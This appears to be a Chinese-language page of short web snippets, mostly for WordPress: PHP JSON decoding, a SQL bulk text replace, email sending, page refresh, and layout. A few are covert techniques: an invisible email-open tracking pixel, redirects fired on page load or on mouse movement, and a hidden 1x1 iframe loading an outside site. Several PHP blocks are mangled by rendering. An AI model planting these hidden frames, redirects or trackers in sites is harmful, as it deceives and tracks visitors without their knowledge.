Code 12: Json数据转为数组
$array = json_decode($json, true); |
Code 11: 批量修改某表某字段的某些内容
UPDATE `表` SET post_content = REPLACE( post_content, '要修改内容', '修改后内容' ) WHERE post_content LIKE '%要修改内容%' |
Code 10: 通过Measurement Protocol来统计邮件打开次数
<img src="http://www.google-analytics.com/collect?v=1&t=event&tid=UA-XXXXXXX-1&cid=6c9ccacc-29e0-416e-b3ee-723be09fb3f2&ec=email&ea=open&ni=1" alt=""> |
Code 9: 每行都是图片+文字
<ul> <li style="clear: both; list-style-type: none;"><a><img style="float: left;"></a> <a>Sample Text</a></li> </ul> <ul> <li style="clear: both; list-style-type: none;"><a><img style="float: left;"></a> <a>Sample Text</a></li> </ul> <ul> <li style="clear: both; list-style-type: none;"><a><img style="float: left;"></a> <a>Sample Text</a></li> </ul> |
Code 8: 获取wordpress特色图的源图URL
<!--?php $img_id = get_post_thumbnail_id(); $img_url = wp_get_attachment_image_src($img_id, full); $img_url = $img_url[0]; echo $img_url; ?--> |
Code 7: 提升memory_limit,根目录放文件”.user.ini”或”php.ini”,代码为:
memory_limit = 128 M ; |
Code 6: 当页面加载完成,跳转到指定URL
<script type="text/javascript"> window.onpageshow = function redirURL() { window.location = "http://www.destination.com"; } </script> |
Code 5: 当鼠标移动,跳转到指定URL
<script type="text/javascript"> window.onmousemove = function redirURL() { window.location = "http://www.destination.com"; } ></script> |
Code 4: WP_Mail发邮件
<!--? php add_filter( 'wp_mail_content_type', 'set_html_content_type' ); $headers = 'From: W3.com <news@e.w3.com>' . "\r\n"; $subject = 'Enjoy the Beautiful Life'; $body = ''; wp_mail( '123@yahoo.com', $subject, $body, $headers ); wp_mail( '456@gmail.com', $subject, $body, $headers ); // Reset content-type to avoid conflicts -- http://core.trac.wordpress.org/ticket/23578 remove_filter( 'wp_mail_content_type', 'set_html_content_type' ); function set_html_content_type() { return 'text/html'; } ?--> |
Code 3: 指定时间间隔刷新页面
<script>// <![CDATA[ function myrefresh() { window.location.reload(); } setTimeout('myrefresh()',1000); //指定1秒刷新一次 // ]]> </script> |
Code 2: 随机字符串
<!--?php $string[0]=""; $string[1]=""; $string[2]=""; $num = rand(0,2);//这里根据你的需要改变 echo $string[$num]; ?--> |
Code 1: iFrame调用页面
<!--?php $string[0]="&lt;iframe sandbox=\"allow-forms allow-scripts allow-same-origin allow-popups allow-pointer-lock\" src=\"http://111.com\" width=\"1\" height=\"1\" &gt;&lt;/iframe&gt;"; echo $string[0] ?--> |